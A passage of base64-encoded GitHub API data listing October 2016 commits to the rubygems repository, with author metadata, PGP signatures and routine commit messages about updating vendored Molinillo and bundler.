vc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiIyMDYxMmU3ZDMwMzk0Njg5ZWEyZjhmMThmNmM0NGEwMzVjOGIwZDA5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzIwNjEyZTdkMzAzOTQ2ODllYTJmOGYxOGY2YzQ0YTAzNWM4YjBkMDkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMjA2MTJlN2QzMDM5NDY4OWVhMmY4ZjE4ZjZjNDRhMDM1YzhiMGQwOSJ9XX0seyJzaGEiOiI0YzllYzNmOWMzYjE2NzA3NWMxMjljZGUxZWQ3OTA0ZjM0NDBhYWEyIiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T2pSak9XVmpNMlk1WXpOaU1UWTNNRGMxWXpFeU9XTmtaVEZsWkRjNU1EUm1NelEwTUdGaFlUST0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEwLTI0VDA0OjIyOjUyWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTAtMjRUMDQ6MjI6NTJaIn0sIm1lc3NhZ2UiOiJVcGRhdGUgdmVuZG9yZWQgTW9saW5pbGxvIHRvIDAuNS4yIiwidHJlZSI6eyJzaGEiOiJlZGFkM2ZmZTJjZmM1ZDUwZjVmZGU3ZmQ4MTU5M2RiNzVlZjc5MTY5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZWRhZDNmZmUyY2ZjNWQ1MGY1ZmRlN2ZkODE1OTNkYjc1ZWY3OTE2OSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzRjOWVjM2Y5YzNiMTY3MDc1YzEyOWNkZTFlZDc5MDRmMzQ0MGFhYTIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSllEWXljQUFvSkVBRVpXN01WM2FoV091Y1AvaU1Nem91ZFRoUXo1T2N6RWo1SVdLQzJcbmdmZ0NrL0NtNk9wOXpGWEgwd0JGVXcySExzYmtCYkVDWkhkcGpPRmxIY3J0elNMcXN0ZmIwSXhCZGdOTVBGRUlcbmVzdlFxR3I4cE4zdjFIakpqdEJVNWdpU2Q4YWorR203OHBhZVJ6cFhhaGk2SlA5WS82RW9TRlFlQVBrTHFLM1JcbkR3NGtTYXVCa242ZUQ2QUNZTFFQdUhQNkZSeW5YaFFEK052SHNrWkZrelNRVTFQRTl1MHhnSXhxU05XeVppcXBcbml6UENFOTluK1JIOHBneGlmTDNOWnlkVFZqTjJMblR6aGpSZEN5amc5SUozcXgwMHIvcHZFN250NEw3bncxbUtcbnFCWGxMWHVEZDJIWTlIUU1PZ2VzaFhGTUJiTlBxRXRCRUN2MmNjTDNjNDJIMkZKNGhaT0JVV21pUHdOQ0lDZk5cblJHSko4bjk5c0orKzNxTWR6aTdpNnc4ZkV6RHpWNG9Qa3dnV1dYb3hxU0RpRVE2d1FJcGxIeC8xS2o3RFUrSVVcbjNFWS9aK25pVCtkVmU0d0tvZUQ5VWp4QnAwZ0h1TlNaY0svT2NTWk1nZU9TajFYT1hDdWJpMGdqVlRrSjREY1FcblRrelY5amUvTER4VERhT3VVTXNBd1IwTW1tOFA4ZEc1Vk9ZRU42dHFOeWlJVmxLZGxmQ3ZYYmVBa0dvYlVDak5cbkdoTTZRbDc0VW1UZityS0xHQmhlWVRvV0RVdFZ4Z1FjVisvWWMxeEdXYThNZGNWb09iTy9HN2N0MVRWSFZIaUxcbjJRMVdwYlBpQ0NxRWlHanUxSmE4eVV2TDZUODhrQmUzbjVvR25EbUw0L2V2UWRaZEN4eW9nTmxkQjNQTUVmSEtcbm5UREhYRkZVMWRxbyt4MS92NDF0XG49MVVjdFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZWRhZDNmZmUyY2ZjNWQ1MGY1ZmRlN2ZkODE1OTNkYjc1ZWY3OTE2OVxucGFyZW50IGNiN2VhYWU3MDBiZmRhODUzMDUwNjMyY2JkZDY2YWU2YWE3YTE1OThcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NzI4Mjk3MiAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc3MjgyOTcyIC0wNTAwXG5cblVwZGF0ZSB2ZW5kb3JlZCBNb2xpbmlsbG8gdG8gMC41LjJcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzRjOWVjM2Y5YzNiMTY3MDc1YzEyOWNkZTFlZDc5MDRmMzQ0MGFhYTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNGM5ZWMzZjljM2IxNjcwNzVjMTI5Y2RlMWVkNzkwNGYzNDQwYWFhMiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80YzllYzNmOWMzYjE2NzA3NWMxMjljZGUxZWQ3OTA0ZjM0NDBhYWEyL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJjYjdlYWFlNzAwYmZkYTg1MzA1MDYzMmNiZGQ2NmFlNmFhN2ExNTk4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2NiN2VhYWU3MDBiZmRhODUzMDUwNjMyY2JkZDY2YWU2YWE3YTE1OTgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvY2I3ZWFhZTcwMGJmZGE4NTMwNTA2MzJjYmRkNjZhZTZhYTdhMTU5OCJ9XX0seyJzaGEiOiJiZjI4ZjA2YTY2OWRlNTFkNzMyNWJlNDhjMGM5YzI1OWYxYjg2MzQ1Iiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T21KbU1qaG1NRFpoTmpZNVpHVTFNV1EzTXpJMVltVTBPR013WXpsak1qVTVaakZpT0RZek5EVT0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEwLTE4VDAzOjIxOjIwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTAtMThUMTc6Mzg6MTBaIn0sIm1lc3NhZ2UiOiJVcGRhdGUgdmVuZG9yZWQgYnVuZGxlciB0byBtYXN0ZXJcblxuRml4ZXMgZmxha3kgcmVhbHdvcmxkIHRlc3RzIiwidHJlZSI6eyJzaGEiOiJiMjA5ZTViZTM2NjhiYjEwYmYzMTZlZWFlMWU3YjkxOWRiN2ViYTAwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYjIwOWU1YmUzNjY4YmIxMGJmMzE2ZWVhZTFlN2I5MTlkYjdlYmEwMCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2JmMjhmMDZhNjY5ZGU1MWQ3MzI1YmU0OGMwYzljMjU5ZjFiODYzNDUiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSllCbDRDQUFvSkVBRVpXN01WM2FoV2lGc1AvMjNYZ2pDdnhiU0JubEFnWUN1emxEbEJcbldxd2FQbDAzREtVNUpsZUROZ1lwbTM3Qk1oWi8xNGhzekF6QzJBQytPblYyRWVzdVRNZEZ6ZTNnZHBHT3BNWnBcbm90c3VHQ0tGRW9FTjdiL1N0NEdsSXR4ZDZZYUZ4Y1NuY3d3dlRoclBZcXJ4RGZ5cEsvcTkxUnVJTll1Q1ROdVpcbktOaDJxWFVKL1U0eThCVDk4VmVCMDE0S0Z5enlmMVpKcTQwT1BvVmJmM2E1c2NCOHBVVGdkcUI2WnFUN3laNklcbjNUV2hrYkJKWWcvcDhjMmVabXluQkZ6ZU1lbkVzbE90ZDROSmc2SmRucjZDWU5vc0wzR2VZN1FuNkJzbEtpQ1ZcbndyMXBOWGMxbk9zSHBTQWJuYWRoWU9nWmdyTUJtSXh0cnJOamUwLy9QNTc5NHRwSFhqK1hqQlBwUjNkRUt6TTlcbmduWU9PaklRUlY5d1ROSm5EcDcrY1FmUzA1WHFocWRyaG9FbWV0RUtDUWpzSkRySUFtS0VkMW15V21EcXF6YlRcblVmNGFFTlhFTCtZVVVjaklvQXlFcW9TcW5QRURNTm9hRDFMcFF0MjJFY3psS3hjS1JkWjFNdm85UFFFWHhoZWlcbk9uRnpwQ0E5TUIvNWJvWHd4RDNnQmZEaGFiMlBiVlFHenRjTG42bHI4ZVc2eHFYRTV6Umk2enpYdnFVQ1J5SUNcbnczdCtuUWZqWms5aTRhVERzSVVPNStNYXhmbmc5RnFSc2lCd1JIbDNiR1Y5M2ZYVEhOSXJvY0FzaWc3NWpZM0hcbm0yTHZxUVh1MS9DSHA2TU9YdTN6MTl0NEl1cW0xQ0FsNmE4ajZGSFpSRkVWQzQvaEtKdkZ0RlQzZzFIcTZ3VzdcbmlrWUIwOFRURHl6SlVpaitRWUlTXG49blYwMVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgYjIwOWU1YmUzNjY4YmIxMGJmMzE2ZWVhZTFlN2I5MTlkYjdlYmEwMFxucGFyZW50IGNiN2VhYWU3MDBiZmRhODUzMDUwNjMyY2JkZDY2YWU2YWE3YTE1OThcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3Njc2MDg4MCAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc2ODEyMjkwIC0wNTAwXG5cblVwZGF0ZSB2ZW5kb3JlZCBidW5kbGVyIHRvIG1hc3RlclxuXG5GaXhlcyBmbGFreSByZWFsd29ybGQgdGVzdHNcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JmMjhmMDZhNjY5ZGU1MWQ3MzI1YmU0OGMwYzljMjU5ZjFiODYzNDUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYmYyOGYwNmE2NjlkZTUxZDczMjViZTQ4YzBjOWMyNTlmMWI4NjM0NSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iZjI4ZjA2YTY2OWRlNTFkNzMyNWJlNDhjMGM5YzI1OWYxYjg2MzQ1L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJjYjdlYWFlNzAwYmZkYTg1MzA1MDYzMmNiZGQ2NmFlNmFhN2ExNTk4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2NiN2VhYWU3MDBiZmRhODUzMDUwNjMyY2JkZDY2YWU2YWE3YTE1OTgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvY2I3ZWFhZTcwMGJmZGE4NTMwNTA2MzJjYmRkNjZhZTZhYTdhMTU5OCJ9XX0seyJzaGEiOiJjMjBiM2I1NmRmMTRjODZjNzBhNjY3MDczNWMwYmJhMWUzNzA0MDc5Iiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T21NeU1HSXpZalUyWkdZeE5HTTRObU0zTUdFMk5qY3dOek0xWXpCaVltRXhaVE0zTURRd056az0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEwLTA3VDAzOjM1OjM4WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTAtMDdUMDM6MzU6MzhaIn0sIm1lc3NhZ2UiOiJbU3BlY2lmaWNhdGlvbl0gUHJlLWNvbXB1dGUgdGhlIGNvZGUgZm9yIGRlZmF1bHQgdmFsdWVzIiwidHJlZSI6eyJzaGEiOiI2Y2E1YjVkODY3NmMyNGM4YTY4NWE4ZjY2YzliNThiNTBhMmI4M2Q5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvNmNhNWI1ZDg2NzZjMjRjOGE2ODVhOGY2NmM5YjU4YjUwYTJiODNkOSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2MyMGIzYjU2ZGYxNGM4NmM3MGE2NjcwNzM1YzBiYmExZTM3MDQwNzkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlg5eGdLQUFvSkVBRVpXN01WM2FoV1VvMFAvMVh3UzdpajRWMVM3cHZudUtnbFQ0a2xcblZaRFVUUk9XbW9Dam1GWFh1S2drQ2tYSklUVXBZc0lFM0xCbUdtVTE4ZXVSd3JCeUhBZ3YwZ0VQK3JPaHdzb2dcbjRub29wNWJhZkk0MUg5VmY1YzdLUWo0b1gxUnoxamllWnRjT0lTMVRKVW4xMFFjSmw2REs4b1o0Y0syajg2eGlcbjZDT3dJaWRiZWpyMFUvMGlubm9QdTBwTlo4OXVlSGhvT1YrVlYzMTl2cytuMUQwMmRLckdGd3ErenNhVHp5dlZcbnF4cDRRQzgrK0FpQ056ZHdtdm0wOElXZzdpRHlRUzJITGZNYmRVWWV3NDRwZFpUUXdhYjZBM3d6RDdwWStDSGFcbkJNMGs0L3hWbHFiNCtsWmZWL3A3ZE9IUjkrYS9UTlB5QjE0U05ZZ1VGcU43ZzFLSTk3QkpDSXVBbGkzRHF0VlRcbmdpMU9SQlFHU3VQdXBGVVRDc29JeWJxeDcrZ1dzNElydjUxMVVyYTUwOFZhSHV6S2VDaS9ENVRVS3gxOWUvaTRcbjNsZ01wajV3cDBTSFFEeHM2Z1BZY05Cd2ZqS09zNk94elRCdTNWeHRtNEJwUmd3OEpWbndacmhSRDJhYXArVDFcbmFqYXcrT2hDWGd6WkRIc2NyMkJlUGVhTDNWL2NMK3BiaExlNWp3amlrRERLaHRtVXhreTR6U01senJlNWZqbXVcbktvOVVqOEdLZjBpL3FOeG5LUXNZM0tTakhaMVZUMTc3ZVZzRTZTLzZoRGYzdUJEdzdhUUIzVkZaMVp2djVzZURcbnJBQjkrTngrbU9BdUhIb0w5c0I5YzdoSy83N1RhdDBPYS9NbEIyOWFkNHJnRjlxR2ZQeHR3ZGdjbVg2ZmZxTTFcbjVnV3hUQUpVNGVhSjVFT2xKckdMXG49eVExaFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgNmNhNWI1ZDg2NzZjMjRjOGE2ODVhOGY2NmM5YjU4YjUwYTJiODNkOVxucGFyZW50IDdlZThkMjYwODJjN2RjMTIxNDQ4NDhhZGIyZDZiZWQwMzhjMTQ4YjNcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NTgxMTMzOCAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc1ODExMzM4IC0wNTAwXG5cbltTcGVjaWZpY2F0aW9uXSBQcmUtY29tcHV0ZSB0aGUgY29kZSBmb3IgZGVmYXVsdCB2YWx1ZXNcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2MyMGIzYjU2ZGYxNGM4NmM3MGE2NjcwNzM1YzBiYmExZTM3MDQwNzkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYzIwYjNiNTZkZjE0Yzg2YzcwYTY2NzA3MzVjMGJiYTFlMzcwNDA3OSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMjBiM2I1NmRmMTRjODZjNzBhNjY3MDczNWMwYmJhMWUzNzA0MDc5L2NvbW1lbnRzIiwiYXV0a